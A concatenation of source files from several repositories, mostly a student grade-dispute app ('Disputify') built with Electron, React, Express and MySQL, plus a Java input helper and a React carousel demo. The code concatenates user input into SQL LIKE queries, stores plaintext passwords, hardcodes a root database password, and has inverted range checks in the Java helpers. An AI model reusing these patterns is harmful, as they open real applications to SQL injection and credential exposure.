// Check that the input String is one character long
if (input.length() < 1) {
System.out.println("Too Few Characters");
throw new IllegalArgumentException("too few chars");
} else if (input.length() > 1) {
System.out.println("Too Many Characters");
throw new IllegalArgumentException("too many chars");
}
// Convert the String into a char value
character = input.charAt(0);
} catch (Exception e) {
// TODO Auto-generated catch block
e.getMessage();
}
return character;
}
}
/**
* Method will ask the user for a char and return only if the char matches
* the ones form the available in the array.
*
* @param question
* Message that will be ask the user the type of input requested.
* @param characters
* is the arrays of the available characters.
* @return the char that the user entered.
*/
public static char getChar(String question, char... characters) {
while (true) {
boolean present = false;
char charFromUser = RequestInput.getChar(question);
// Iterate through the supplied chars and see if it is present
for (int i = 0; i < characters.length; i++) {
if (Character.compare(characters[i], charFromUser) == 0) {
present = true;
}
}
if (present == true) {
return charFromUser;
} else {
System.out.println("You have not entere a valid char");
continue;
}
}
}
/**
* Method will ask the user for a double and return only if the double is
* valid.
*
* @param question
* Message that will be ask the user the type of input requested.
* @return num entered by the user
*/
public static double getDouble(String question) {
double numFromUser = 0;
while (true) {
try {
System.out.print(question);
numFromUser = Double.parseDouble(scanner.nextLine());
break; // Refers to the while loop
} catch (NumberFormatException e) {
System.out.println("You have not enter a valid number.");
continue; // Not needed but it is used for clarity purpose
// Right now
}
}
return numFromUser;
}
/**
* Method ask user for a number. If a number is not enter it will loop
* Indefinitely.
*
* @param question
* Message that will be ask the user the type of input requested.
* @return The number will be return
*/
public static int getInt(String question) {
int numFromUser = 0;
while (true) {
try {
System.out.print(question);
numFromUser = Integer.parseInt(scanner.nextLine());
// if (num > 8) throw new IllegalArgumentException();
break; // Refers to the while loop
} catch (NumberFormatException e) {
System.out.println("You have not enter a valid number.");
continue; // Not needed but it is used for clarity purpose
// Right now
}
}
return numFromUser;
}
/**
* Method ask user for a number. If a number is not enter it will loop
* Indefinitely until it gets a number for a specific range
*
* @param question
* Message that will be ask the user the type of input requested.
* @return The number will be return TODO max min need to update the getInt
*/
public static int getInt(String question, int min) {
int numFromUser = 0;
while (true) {
try {
System.out.print(question);
numFromUser = Integer.parseInt(scanner.nextLine());
if (numFromUser >= min) {
throw new IllegalArgumentException("Your number needs to be grater than " + min);
}
break; // Refers to the while loop
} catch (NumberFormatException e) {
System.out.println("You have not enter a valid number.");
continue; // Not needed but it is used for clarity purpose
// Right now
}
}
return numFromUser;
}
/**
* Method ask user for a number. If a number is not enter it will loop
* Indefinitely until it gets a number for a specific range
*
* @param question
* Message that will be ask the user the type of input requested.
* @return The number will be return TODO max min need to update the getInt
*/
public static int getInt(String question, int max, int min) {
int numFromUser = 0;
while (true) {
try {
System.out.print(question);
numFromUser = Integer.parseInt(scanner.nextLine());
if (numFromUser <= max && numFromUser >= min) {
throw new IllegalArgumentException("Your number needs to be between " + min + " and " + max);
}
break; // Refers to the while loop
} catch (NumberFormatException e) {
System.out.println("You have not enter a valid number.");
continue; // Not needed but it is used for clarity purpose
// Right now
}
}
return numFromUser;
}
/**
* Method ask user for an input string
*
* @param question
* Message that will be ask the user the type of input requested.
* @return The string will be return
*/
public static String getString(String question) {
System.out.print(question);
return scanner.nextLine();
}
/**
* Method ask user for an input string
*
* @param question
* Message that will be ask the user the type of input requested.
* @return The string will be return
*/
public static String getString(String question, String... words) {
String stringFromUser = "";
boolean present = false;
while (true) {
stringFromUser = RequestInput.getString(question);
// Iterate through the supplied chars and see if it is present
for (int i = 0; i < words.length; i++) {
if (words[i].equals(stringFromUser)) {
present = true;
}
}
if (present == true) {
return stringFromUser;
} else {
System.out.println("Your entry " + stringFromUser + " is not valid!");
continue;
}
}
}
// Create your own helper method that you may find useful
}
```
|
100297/TakoTest
|
100297/TakoTest
README.md
```# TakoTest
RepositoryTestGits
```
|
10086XIAOZHANG/react-zkcarousel
|
10086XIAOZHANG/react-zkcarousel
index.js
```import React from 'react';
import ReactDOM from 'react-dom';
import Carousel from '../src/index';
export default class MyCarousel extends React.Component {
constructor(props) {
super(props);
}
handleItemClick(index,event) {
console.log(event.target);
}
render() {
let data = [
{
"src":"http://upload-images.jianshu.io/upload_images/2541263-0f5e6044449875e1.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240",
"id":'6',
"url":"http://localhost:8080/#/button"
},
{
"src":"http://upload-images.jianshu.io/upload_images/2541263-5569e888aadf127a.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240",
"url":"https://www.baidu.com"
},
{
"src":"http://upload-images.jianshu.io/upload_images/2541263-8679200d007b79c9.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240",
"id":"4",
"url":"http://localhost:8080/#/button"
}
];
return (
<Carousel>
<div><h3>2</h3></div>
<div><h3>3</h3></div>
<div><h3>4</h3></div>
<div><h3>5</h3></div>
<div><h3>6</h3></div>
<div><h3>7</h3></div>
<div><h3>8</h3></div>
</Carousel>
);
}
};
ReactDOM.render(<MyCarousel/>, document.getElementById('content'));
```
|
1009700427/Disputify
|
1009700427/Disputify
dbDriver.js
```const mysql = require('mysql');
const config = {
host: 'localhost',
user: 'root',
password: 'abc',
database: 'DisputifyDB'
};
// adds user into database
module.exports.addUser = function(data){
// sets up connection
var connection = mysql.createConnection(config);
connection.connect();
connection.query("INSERT INTO DisputifyDB.User SET ?",
data, function (error, results, fields){
if (error) {
throw error;
}
});
connection.end();
};
function getAssignmentIDByName(assignmentName, callback)
{
var connection = mysql.createConnection(config);
connection.connect();
var assignmentIDQuery = 'SELECT assignmentID FROM DisputifyDB.Assignments WHERE name = ' + connection.escape(assignmentName);
connection.query(assignmentIDQuery, (error, results, fields) => {
if(error){
throw error;
}
var assignmentID = results[0].assignmentID;
callback(assignmentID);
});
connection.end();
}
function getUserIDByName(assignmentID, username, callback)
{
var connection = mysql.createConnection(config);
connection.connect();
var userIDQuery = 'SELECT userID FROM DisputifyDB.User WHERE username = ' + connection.escape(username);
connection.query(userIDQuery, (error, results, fields) => {
if(error){
throw error;
}
userID = results[0].userID;
callback && callback(assignmentID, userID);
});
connection.end();
}
function getCourseIDByName(courseName, callback){
var connection = mysql.createConnection(config);
connection.connect();
var courseIDQuery = 'SELECT courseID FROM DisputifyDB.Courses WHERE name = ' + connection.escape(courseName);
connection.query(courseIDQuery, (error, results, fields) => {
if(error){
throw error;
}
if(results.length!=0){
var courseID = results[0].courseID;
}
else {
var courseID = null;
}
callback && callback(courseID);
});
connection.end();
}
// gets all courses with given name
module.exports.getCoursesByCourseName = function(courseName, callback){
var connection = mysql.createConnection(config);
connection.connect();
var courseQuery = "SELECT * FROM DisputifyDB.Courses WHERE name LIKE '%"+(courseName)+"%'";
connection.query(courseQuery, (error, results, fields) => {
if(error){
throw error;
}
callback && callback(results);
});
};
// returns a list of all courses
module.exports.getAllCourses = function(callback){
var connection = mysql.createConnection(config);
connection.connect();
var courseQuery = "SELECT * FROM DisputifyDB.Courses";
connection.query(courseQuery, (error, results, fields) => {
if(error){
throw error;
}
callback && callback(results);
});
};
module.exports.handleResolve = function(disputeID, currentStatus, callback){
var connection = mysql.createConnection(config);
connection.connect();
var disputeQuery = "UPDATE DisputifyDB.Dispute SET status = ? WHERE disputeID = ?";
var data = [];
if(currentStatus=="resolved"){
data = ["unresolved", disputeID];
}
else {
data = ["resolved", disputeID];
}
console.log(data);
connection.query(disputeQuery, data, (error, results, fields) => {
if(error){
throw error;
}
callback && callback(results);
});
};
// gets disputes
module.exports.getDisputes = function(courseName, callback){
getCourseIDByName(courseName, (courseID) => {
var connection = mysql.createConnection(config);
connection.connect();
var data = [courseID];
var disputeQuery = "SELECT * FROM DisputifyDB.Dispute d, DisputifyDB.User u WHERE courseID = ? AND d.userID=u.userID";
console.log("sql: "+mysql.format(disputeQuery));
connection.query(disputeQuery, data, (error, results, fields) => {
if(error){
throw error;
}
callback && callback(results);
});
connection.end();
});
};
// inserts dispute description to assignment
module.exports.insertDisputeData = function (assignmentName, assignmentDescription, disputeDescription, username, courseID, callback){
// sets yo connection
var connection = mysql.createConnection(config);
connection.connect();
var assignmentID = -1;
var userID = -1;
getAssignmentIDByName(assignmentName, (assignmentID) => getUserIDByName(assignmentID, username, (assignmentID, userID) => {
var data = {
description: disputeDescription,
assignmentID: assignmentID,
userID: userID,
status: "unresolved",
courseID: courseID
};
var connection = mysql.createConnection(config);
connection.connect();
connection.query("INSERT INTO DisputifyDB.Dispute SET ?", data ,(error, results, fields) => {
if (error) {
throw error;
}
callback();
});
connection.end();
}));
};
// returns a list of assignments by course name
module.exports.getAssignmentByCourse = function(courseName, callback){
getCourseIDByName(courseName, (courseID) => {
var data = [courseID];
var connection = mysql.createConnection(config);
connection.connect();
connection.query("SELECT * FROM DisputifyDB.Assignments WHERE courseID = ?", data, (error, results, fields) => {
if(error){
throw error;
}
callback && callback(results);
});
});
};
// checks for username and password
module.exports.checkUser = function(data, callback){
// sets up connection
var connection = mysql.createConnection(config);
connection.connect();
connection.query("SELECT * FROM DisputifyDB.User WHERE type=? AND username=? AND password=?", data, function(error, results, fields){
console.log(connection.sql);
if(error){
throw error;
}
if(results.length==0){
connection.end();
callback(false, results);
}
connection.end();
callback(true, results);
});
connection.end();
};
// returns an array of courses
module.exports.getCourses = function(callback){
// sets up connection
var connection = mysql.createConnection(config);
var temp = [];
connection.connect();
connection.query("SELECT name FROM DisputifyDB.Courses", function(error, results, fields){
if(error){
throw error;
}
temp = JSON.parse(JSON.stringify(results));
callback & callback(temp);
});
connection.end();
};
// returns an array of all assignments of a particular user
module.exports.getAllAssignments = function(callback){
// sets up connection
var connection = mysql.createConnection(config);
connection.connect();
var temp = [];
connection.query("SELECT * FROM DisputifyDB.Assignments", function(error, results, fields){
if(error){
throw error;
}
temp = JSON.stringify(results);
callback & callback(temp);
});
connection.end();
};
// returns an array of all assignments that contains a particular string title
module.exports.getAssignmentsByName = function(assignmentName, callback){
// sets up connection
var connection = mysql.createConnection(config);
connection.connect();
var temp = [];
console.log("Assignmentname: "+assignmentName);
connection.query("SELECT * FROM DisputifyDB.Assignments WHERE name LIKE '%"+assignmentName+"%'", function(error, results, fields){
if(error){
throw error;
}
temp = JSON.stringify(results);
callback & callback(temp);
});
connection.end();
};
// returns the assignment that contains the given id number
module.exports.getAssignmentByExactName = function(name,callback){
// sets up connection
var connection = mysql.createConnection(config);
connection.connect();
var temp = [];
temp.push(name);
connection.query("SELECT name, description, courseID FROM DisputifyDB.Assignments WHERE name =?", temp, function(error, results, fields){
if(error){
throw error;
}
callback & callback(JSON.stringify(results));
});
connection.end();
};
// returns an array of courses
module.exports.getFacultyCourses = function(callback){
// sets up connection
var connection = mysql.createConnection(config);
var temp = [];
connection.connect();
connection.query("SELECT name FROM DisputifyDB.Courses", function(error, results, fields){
if(error){
throw error;
}
temp = JSON.parse(JSON.stringify(results));
callback & callback(temp);
});
connection.end();
};```
main.js
```const electron = require('electron');
const { app, BrowserWindow, Menu } = electron;
const path = require('path');
const url = require('url');
var mainWindow = null;
var addWindow = null;
const DEV_MODE = process.argv.includes('--dev');
// listen for the app to be ready
app.on('ready', function(){
// create new window
mainWindow = new BrowserWindow({width: 1024, height: 768});
mainWindow.loadURL(url.format({
pathname: path.join(__dirname, DEV_MODE ? './build/index.dev.html' : './build/index.html'),
protocol: 'file:',
slashes: true
}));
// Quit all windows when close app
mainWindow.on('close', function(){
app.quit();
});
// Build menu from template
const mainMenu = Menu.buildFromTemplate(mainMenuTemplate);
// insert menu
Menu.setApplicationMenu(mainMenu);
});
// Handles createAddWindow()
function createAddWindow(){
// create add new window
addWindow = new BrowserWindow({width: 300, height: 200, title:'Add Shopping List Item'});
addWindow.loadURL(url.format({
pathname: path.join(__dirname, 'addWindow.html'),
protocol: 'file:',
slashes: true
}));
// garbage collection
addWindow.on('close', function(){
addWindow = null;
});
}
// create menu template
const mainMenuTemplate = [
{
label: 'File',
submenu: [
{
label: 'Add Item',
click(){
createAddWindow();
}
},
{
label: 'Clear Items'
},
{
label: 'Quit',
// mac
accelerator: process.platform == 'darwin' ? 'Command+Q' : 'Ctrl+Q',
click(){
app.quit();
}
}
]
}
];
// Checks for the platform and the menu compability
// If Mac, add empty object to menu
if(process.platform=='darwin'){
// adds onto the beginning of the array
mainMenuTemplate.unshift({});
}
// add developer tools item if not in production
if(process.env.NODE_ENV != 'production'){
mainMenuTemplate.push({
label: 'Developer Tools',
submenu: [
{
label: 'Toggle DevTools',
accelerator: process.platform=='darwin' ? 'Command+II' : 'Ctrl+I',
click(item, focusedWindow){
focusedWindow.toggleDevTools();
}
},
{
role: 'reload'
}
]
});
}```
StudentCourseList.js
```import React from "react";
import { DropdownButton, MenuItem } from "react-bootstrap";
const dbDriver = require("../../backend/database/dbDriver.js");
const mysql = require('mysql');
const config = {
host: 'localhost',
user: 'root',
password: 'abc',
database: 'DisputifyDB'
}
export default class StudentCourseList extends React.Component{
constructor(props){
super(props);
var that = this;
this.state = {
courseList: [""],
// dropdownTitle: (<Glyphicon glyph="user" title="Dropdown"/>),
dropdownTitle: "",
finalResult: null,
fireReturn: false
};
var connection = mysql.createConnection(config);
connection.connect();
var that = this;
dbDriver.getCourses((result) => {
that.setState({finalResult: result,
fireReturn: true,
dropdownTitle: result[0].name});
this.props.handler(result[0].name);
});
}
getCourses(title, i){
return (
<MenuItem eventKey={i} key={i}>
{title.name}
</MenuItem>
);
}
handleSelect(e){
var val = this.state.finalResult[e].name;
this.setState({
dropdownTitle: val
});
this.props.handler(val);
}
render(){
var that = this;
return(
<div class="dropdown">
{
this.state.fireReturn &&
<DropdownButton class="button" title={this.state.dropdownTitle} key={1}
id="courseDropdown"
onSelect={(e) => this.handleSelect(e)}>{JSON.parse(JSON.stringify(this.state.finalResult)).map(that.getCourses)}
</DropdownButton>
}
</div>
);
}
}
```
FacultyCourseAssignments.js
```/**
* Created by siyuanxu on 1/15/18.
*/
import React from "react";
export default class FacultyCourseAssignments extends React.Component{
constructor(){
super();
this.handleShow = this.handleShow.bind(this);
this.handleClose = this.handleClose.bind(this);
this.state = {
name: "666",
description: "",
showModal: false,
disputeDescription: ""
}
}
// handles showing the modal
handleShow(){
this.setState({
showModal: true
});
}
// handles hiding the modal
handleClose(){
this.setState({
showModal: false
});
}
componentWillMount(){
}
render(){
var that = this;
return(
<div class="course-assignments">
{this.state.name}<br/>
</div>
);
}
}```
StudentLoginForm.js
```import React from "react";
import { FormGroup, FormControl, ControlLabel, Button} from "react-bootstrap";
import { Link, Redirect } from 'react-router-dom';
import '../assets/stylesheets/login.less'
const dbDriver = require("../../backend/database/dbDriver.js");
const mysql = require('mysql');
const config = {
host: 'localhost',
user: 'root',
password: 'abc',
database: 'DisputifyDB'
};
export default class LoginForm extends React.Component{
constructor(){
super();
this.state = {
username: '',
password: '',
name: '',
fireRedirect: false
}
}
// checks for submit
onSubmit(event){
event.preventDefault();
this.state.fireRedirect = false;
var that = this;
if(this.state.username==null || this.state.username=="" || this.state.password=="" || this.state.password==null){
return false;
}
// checks for user provided data
const data = ["student", this.state.username, this.state.password];
// sets up connection
var connection = mysql.createConnection(config);
connection.connect();
connection.query("SELECT * FROM DisputifyDB.User WHERE type=? AND username=? AND password=?", data, function(error, results, fields){
console.log(connection.sql);
if(error){
throw error;
}
if(results.length==0){
connection.end();
alert("Incorrect Username or Password");
return;
}
connection.end();
that.setState({name: results[0].name});
that.setState({fireRedirect: true});
});
}
render(){
const { fireRedirect } = this.state;
return (
<div>
<form method="POST" onSubmit={(event) => this.onSubmit(event)}>
<FormGroup controlId="formBasicText">
</FormGroup>
<ControlLabel>Username <FormControl
type="text"
placeholder="Enter Username"
onChange={(e) => this.setState({username: e.target.value})}
/>
</ControlLabel><br/>
<ControlLabel>
Password <FormControl
type="password"
placeholder="Enter Password"
onChange={(e) => this.setState({password: e.target.value})}
/>
</ControlLabel>
<br/>
<Button class="button" type="submit" bsStyle="success">
Login
</Button>
<br/>
<Link to='/studentRegister'>
<Button class="button" bsStyle="primary">
Register
</Button>
</Link>
<br/>
<Link to='/'>
<Button class="button" bsStyle="primary">
Cancel
</Button>
</Link>
<div id="err-message">
</div>
</form>
{
fireRedirect && (<Redirect to={{
pathname: '/studentAssignmentList',
state: {
username: this.state.username,
name: this.state.name
}
}}/>)
}
</div>
);
}
}```
StudentLogin.js
```import React from "react";
import StudentLoginForm from "../components/StudentLoginForm";
import '../assets/stylesheets/login.less'
export default class StudentLogin extends React.Component{
constructor(){
super();
this.state = {
username: '',
password: ''
}
}
onSubmit(event){
}
render(){
return (
<div class="login-page">
<div class="login-wrapper">
<img src={require("../img/icon.png")}/>
<h2>Student</h2>
<StudentLoginForm/>
</div>
</div>
)
}
}```
FacultyRegister.js
```import React from "react";
import { Link } from "react-router-dom";
import { FormControl, ControlLabel, Button} from "react-bootstrap";
const dbDriver = require("../../backend/database/dbDriver.js");
export default class FacultyRegister extends React.Component{
constructor(){
super();
this.state = {
username: '',
password: '',
repeatPassword: '',
name: ''
}
}
onSubmit(event){
event.preventDefault();
if(this.state.password!=this.state.repeatPassword){
console.log("password and repeatPassword are not equal!");
return;
}
if(this.state.username==null || this.state.username==""
|| this.state.password=="" || this.state.password==null){
return;
}
const userData = {
type: "faculty",
username: this.state.username,
password: this.state.password,
name: this.state.name
};
dbDriver.addUser(userData);
}
render(){
return(
<div class="register-page">
<div class="register-wrapper">
<h2>Faculty Register</h2>
<form action="/" method="POST" onSubmit={(event) => this.onSubmit(event)}>
<ControlLabel>Name <FormControl
type="text"
placeholder="Enter Name"
onChange={(e) => this.setState({name: e.target.value})}
/>
</ControlLabel><br/>
<ControlLabel>Username <FormControl
type="text"
placeholder="Enter Username"
value={this.state.username}
onChange={(e) => this.setState({username: e.target.value})}
/>
</ControlLabel><br/>
<ControlLabel>
Password <FormControl
type="password"
placeholder="Enter Password"
value={this.state.password}
onChange={(e)=>this.setState({password: e.target.value})}
/>
</ControlLabel><br/>
<ControlLabel>
Password Again<FormControl
type="password"
placeholder="Enter Password"
value={this.state.repeatPassword}
onChange={(e)=>this.setState({repeatPassword: e.target.value})}
/>
</ControlLabel>
<br/>
<Button type="submit" bsStyle="success" class="button">
Register
</Button>
<br/>
<Link to='/facultyLogin'>
<Button bsStyle="primary" class="button">
Cancel
</Button>
</Link>
<br/>
</form>
</div>
</div>
);
}
}```
FacultyCourseList.js
```/**
* Created by siyuanxu on 1/15/18.
*/
import React from "react";
import axios from 'axios';
import { Link } from 'react-router-dom';
import { FormControl, Button, Glyphicon, Modal, OverlayTrigger, Popover} from "react-bootstrap";
import StudentCourseList from "../components/StudentCourseList.js";
import '../assets/stylesheets/facultyCourseList.less';
export default class FacultyCourseList extends React.Component{
constructor(props){
super(props);
this.handleShow = this.handleShow.bind(this);
this.handleClose = this.handleClose.bind(this);
this.state = {
courseTitle: "",
courses: [],
assignments: [],
facultyUsername: this.props.location.state.username,
name: this.props.location.state.name,
showModal: false,
courseName: "",
currentCourseName: "",
disputeList: [],
currentCourseName: "",
disputePopover: (
<Popover>
<strong>Click to Indicate Resolve/Unresolve!</strong>
</Popover>
)
};
this.handler = this.handler.bind(this);
}
// handles showing the moda
handleShow(){
this.setState({
showModal: true
});
}
// handles hiding the modal
handleClose(){
this.setState({
showModal: false
});
}
logOutUser(){
}
searchCourseByName(title){
var that = this;
axios.get("http://localhost:3000/searchCourseByName", {
params: {
courseName: title
}
})
.then(resp => {
that.setState({
courses: resp.data
});
})
.catch(err => {
console.log("Error: Cannot retrieve courses in searchCourseByName(title)");
});
}
showAll(){
var that = this;
axios.get("http://localhost:3000/showAllCourses")
.then(resp => {
that.setState({
courses: resp.data
});
})
.catch(err => {
console.log("Error: cannot retrieve assignments in showAll() ", err);
});
}
getDisputes(courseName, callback){
var that = this;
axios.get("http://localhost:3000/getDisputes", {
params: {
courseName: courseName
}
})
.then(resp => {
that.setState({
disputeList: resp.data,
currentCourseName: courseName
});
callback && callback();
})
.catch(err => {
console.log("Error: cannot retrieve disputes in getDisputes(courseName)", err);
});
}
searchAssignmentByCourse(courseName){
var that = this;
axios.get("http://localhost:3000/searchAssignmentByCourse", {
params: {
courseName: courseName
}
})
.then(resp => {
that.setState({
courses: resp.data
});
})
.catch(err => {
console.log("Error: Cannot retrieve assignments in searchAssignmentByCourse(courseName)", err);
});
}
handler(coursename) {
this.setState({
courseName: coursename
});
}
handleResolve(disputeID, status){
var that = this;
axios.get("http://localhost:3000/handleResolve", {
params: {
disputeID: disputeID,
currentCourseName: that.state.currentCourseName,
currentResolveStatus: status
}
})
.then(resp => {
that.setState({
disputeList: resp.data
});
})
.catch(err => {
console.log("Error: Cannot retrieve updated dispute list", err);
});
}
render(){
return(
<div class="faculty-course-list-page">
<div class="faculty-course-list-header">
<div class="title">
<h2>Welcome, {this.state.name}
<Link to='/'>
<Button bsStyle="danger" class="button logout" onClick={()=>this.logOutUser()}>Log Out</Button>
</Link>
</h2>
</div>
<div class="labels">
<h5>Filter Courses</h5>
<h5>Show Assignments by Courses</h5>
<div class="space"></div>
</div>
<div class="faculty-course-list-options">
<FormControl
type="text"
placeholder="Enter Course Title"
onChange={(e) => this.setState({courseTitle: e.target.value})}
class="item"
/>
<Button class="button short-button margin-button1 item" bsStyle="success" onClick={()=>this.searchCourseByName(this.state.courseTitle)}>Search {' '}<Glyphicon glyph="search" /></Button>
<StudentCourseList handler={this.handler}/>
<Button class="button short-button margin-button2 item" bsStyle="success" onClick={()=>this.searchAssignmentByCourse(this.state.courseName)}>Search {' '}<Glyphicon glyph="search" /></Button><br/>
<Button class="button short-button item" bsStyle="success" onClick={()=>this.showAll()}>Show All {' '}<Glyphicon glyph="th" /></Button>
</div>
<div class="info">
{
this.state.courses.map((courseObj, i) => {
return(
<div key={i} class="list-item" onClick={() => {
this.setState({
currentCourseName: courseObj.name
});
var that = this;
this.getDisputes(courseObj.name, ()=>that.handleShow());
}}>
<div className="list-header">
<span> {courseObj.name} </span>
</div>
<span>
{
courseObj.description
}
</span>
</div>
)
})
}
</div>
<Modal show={this.state.showModal} onHide={() => this.handleClose()}>
<Modal.Header closeButton>
<Modal.Title>
{this.state.currentCourseName} Disputes
</Modal.Title>
</Modal.Header>
<Modal.Body>
{
this.state.disputeList.map((disputeObj, i) => {
return (
<div key={i} class="dispute-item">
<div class="dispute-header">
From {disputeObj.name}:
</div>
<div class="dispute-description">
{disputeObj.description}
</div>
<OverlayTrigger trigger="hover" placement="right" overlay={this.state.disputePopover}>
<Button class="button" onClick={() => this.handleResolve(disputeObj.disputeID, disputeObj.status)}>{disputeObj.status}</Button>
</OverlayTrigger>
</div>
)
})
}
</Modal.Body>
<Modal.Footer>
<Button class="button" onClick={this.handleClose}>Close</Button>
</Modal.Footer>
</Modal>
</div>
</div>
);
}
}```
AccountType.js
```import React from "react";
import { Link } from "react-router-dom";
import { Button } from "react-bootstrap";
export default class Login extends React.Component{
constructor(){
super();
}
render(){
return(
<div class="account-page">
<div class="account-wrapper">
<h2>Welcome to Disputify</h2>
<Link to='/facultyLogin'>
<Button bsStyle="success" class="button">
Course Staff
</Button>
</Link> <br/>
<Link to='/studentLogin'>
<Button bsStyle="success" class="button">
Student
</Button>
</Link>
</div>
</div>
)
}
}```
db.sql
```DROP DATABASE IF EXISTS DisputifyDB;
CREATE DATABASE DisputifyDB;
USE DisputifyDB;
CREATE TABLE `User`(
userID INT(11) PRIMARY KEY AUTO_INCREMENT,
`type` VARCHAR(20),
username VARCHAR(50),
`password` VARCHAR(50),
`name` VARCHAR(100)
);
CREATE TABLE Courses(
courseID INT(11) PRIMARY KEY AUTO_INCREMENT,
`name` VARCHAR(100)
);
CREATE TABLE Assignments(
assignmentID INT(11) PRIMARY KEY AUTO_INCREMENT,
`name` VARCHAR(100),
description VARCHAR(500),
courseID INT(11),
userID INT(11),
FOREIGN KEY fk1(courseID) REFERENCES Courses(courseID),
FOREIGN KEY fk2(userID) REFERENCES `User`(userID)
);
CREATE TABLE Dispute(
disputeID INT(11) PRIMARY KEY AUTO_INCREMENT,
description VARCHAR(500),
courseID INT(11),
userID INT(11),
assignmentID INT(11),
`status` VARCHAR(50),
FOREIGN KEY fk1(courseID) REFERENCES Courses(courseID),
FOREIGN KEY fk2(userID) REFERENCES `User`(userID),
FOREIGN KEY fk3(assignmentID) REFERENCES Assignments(assignmentID)
);
INSERT INTO DisputifyDB.Courses (name) VALUES ('CSCI103');
INSERT INTO DisputifyDB.Courses (name) VALUES ('CSCI109');
INSERT INTO DisputifyDB.Courses (name) VALUES ('CSCI104');
INSERT INTO DisputifyDB.Courses (name) VALUES ('CSCI170');
INSERT INTO DisputifyDB.Courses (name) VALUES ('CSCI201');
INSERT INTO DisputifyDB.Courses (name) VALUES ('CSCI270');
INSERT INTO DisputifyDB.Courses (name) VALUES ('CSCI356');
INSERT INTO DisputifyDB.Courses (name) VALUES ('CSCI360');
INSERT INTO DisputifyDB.Courses (name) VALUES ('CSCI350');
INSERT INTO DisputifyDB.User (type, username, password, `name`) VALUES ('student', 'steve', 123, 'Tony');
INSERT INTO DisputifyDB.User (type, username, password, `name`) VALUES ('student', '111', 111, 'Steven');
INSERT INTO DisputifyDB.User (type, username, password, `name`) VALUES ('student', 'leo', 123, 'Leo');
INSERT INTO DisputifyDB.User (type, username, password, `name`) VALUES ('faculty', '111', 111, 'Miller');
INSERT INTO DisputifyDB.Assignments (name, description, courseID, userID) VALUES ('HW#1', 'Linked List', 1, 2);
INSERT INTO DisputifyDB.Assignments (name, description, courseID, userID) VALUES ('HW#2', 'Recursion', 1, 2);
INSERT INTO DisputifyDB.Assignments (name, description, courseID, userID) VALUES ('HW#3', 'Dynamic Memory Allocation', 1, 2);
INSERT INTO DisputifyDB.Dispute (description, courseID, userID, assignmentID, `status`) VALUES ('Part #2 Constructor was correct',1, 2, 1, 'unresolved');
INSERT INTO DisputifyDB.Dispute (description, courseID, userID, assignmentID, `status`) VALUES ('Line #35 memory allocation was done correctly',1, 1, 1, 'unresolved');
INSERT INTO DisputifyDB.Dispute (description, courseID, userID, assignmentID, `status`) VALUES ('Line #21 there is no out of bound error',1, 3, 1, 'unresolved');
```
server.js
```const mysql = require('mysql');
const express = require('express');
// adds app
const app = express();
// now gets the http
const http = require('http').Server(app);
const dbDriver = require("./database/dbDriver");
var io = require('socket.io')(http);
const config = {
host: 'localhost',
user: 'root',
password: 'abc',
database: 'DisputifyDB'
}
// returns all assignments
app.get('/showAll', function(req, res){
dbDriver.getAllAssignments((result) => {
res.send(result);
});
});
// returns assignments of designated names
app.get('/searchAssignment', function(req, res){
dbDriver.getAssignmentsByName(req.query.assignmentTitle, (result)=>{
res.send(result);
});
});
// returns the particular assignment according to the given id
app.get('/assignment', function(req, res){
dbDriver.getAssignmentByExactName(req.query.name, (result)=>{
res.send(result);
});
});
// sends dispute data to database
app.get('/disputeSubmit', function(req, res){
var assignmentName = req.query.assignmentName;
var assignmentDescription = req.query.assignmentDescription;
var disputeDescription = req.query.disputeDescription;
var username = req.query.username;
var courseID = req.query.courseID;
dbDriver.insertDisputeData(assignmentName, assignmentDescription, disputeDescription, username, courseID, () => {
res.send("succeed");
});
});
// returns assignments by course name
app.get('/searchAssignmentByCourse', (req, res) => {
var courseName = req.query.courseName;
dbDriver.getAssignmentByCourse(courseName, (result) => {
res.send(result);
});
});
// get courses by coursename
app.get("/searchCourseByName", (req, res) => {
var courseName = req.query.courseName;
dbDriver.getCoursesByCourseName(courseName, (result) => {
res.send(result);
});
});
// Returns a list of all courses
app.get("/showAllCourses", (req, res) => {
dbDriver.getAllCourses((result) => {
res.send(result);
});
});
app.get('/getDisputes', (req, res) => {
var courseName = req.query.courseName;
dbDriver.getDisputes(courseName, (result) => {
res.send(result);
});
});
app.get('/handleResolve', (req, res) => {
var disputeID = req.query.disputeID;
var courseName = req.query.currentCourseName;
var status = req.query.currentResolveStatus;
dbDriver.handleResolve(disputeID,status, () => dbDriver.getDisputes(courseName, (result) => {
res.send(result);
}));
});
// listens to port 3000
http.listen(3000, function(){
console.log("Express app listening on port 3000.");
});```
StudentAssignmentList.js
```import React from "react";
import axios from 'axios';
import { Link, Redirect} from 'react-router-dom';
import { FormControl, ControlLabel, Button, Glyphicon} from "react-bootstrap";
import StudentCourseList from "../components/StudentCourseList";
const dbDriver = require("../../backend/database/dbDriver.js");
import '../assets/stylesheets/studentAssignmentList.less'
export default class StudentAssignmentList extends React.Component{
constructor(props){
super(props);
this.state = {
assignmentTitle: '',
viewAssignmentTitle: '',
assignments: [],
username: this.props.location.state.username,
name: this.props.location.state.name,
courseName: ""
};
this.handler = this.handler.bind(this);
}
handler(coursename) {
this.setState({
courseName: coursename
});
}
logOutUser(){
var that = this;
axios.get("http://localhost:3000/logout", {
params: {
userType: "student"
}
})
.then(resp => {
console.log("Logged out");
})
.catch(err => {
console.log("Error: Failed to logout");
});
}
searchAssignmentByName(assignmentName){
var that = this;
axios.get("http://localhost:3000/searchAssignment", {
params: {
assignmentTitle: assignmentName
}
})
.then(resp => {
that.setState({
assignments: resp.data
});
})
.catch(err => {
console.log("Error: cannot retrieve assignments in searchAssignment(assignmentName) ", err);
});
}
searchAssignmentByCourse(courseName){
var that = this;
axios.get("http://localhost:3000/searchAssignmentByCourse", {
params: {
courseName: courseName
}
})
.then(resp => {
that.setState({
assignments: resp.data
});
})
.catch(err => {
console.log("Error: Cannot retrieve assignments in searchAssignmentByCourse(courseName)");
});
}
showAll(){
var that = this;
axios.get("http://localhost:3000/showAll")
.then(resp => {
that.setState({
assignments: resp.data
});
})
.catch(err => {
console.log("Error: cannot retrieve assignments in showAll() ", err);
});
}
render(){
return(
<div class="student-assignment-list-page">
<div class="student-assignment-list-header">
<div class="title">
<h2>
Welcome, {this.state.name}
<Link to='/'>
<Button class="button logout" bsStyle="danger" onClick={()=>this.logOutUser()}>Log Out</Button>
</Link>
</h2>
</div>
<div class="labels">
